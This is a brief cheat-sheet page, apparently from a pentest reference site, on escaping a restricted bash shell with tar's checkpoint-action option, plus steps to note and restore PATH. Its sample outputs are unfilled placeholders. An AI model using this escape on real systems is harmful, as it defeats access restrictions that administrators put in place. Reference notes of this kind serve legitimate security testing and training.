TLDRBins TLDRBins / rbash

Usage Tips:

  • Click on a keyword to enable inline editing.
  • Click inside a code block to copy (excludes comments).
  • Use the button to view examples.
  • Click outside to collapse all examples.

Abuse #1: tar to rbash Escape

# Before enter rbash
echo $PATH

Sample Output:
TO-DO
# Enter rbash
su <USER> -

Sample Output:
TO-DO
# rbash escape using tar
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

Sample Output:
TO-DO
# Paste the above $PATH (e.g.)
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Sample Output:
TO-DO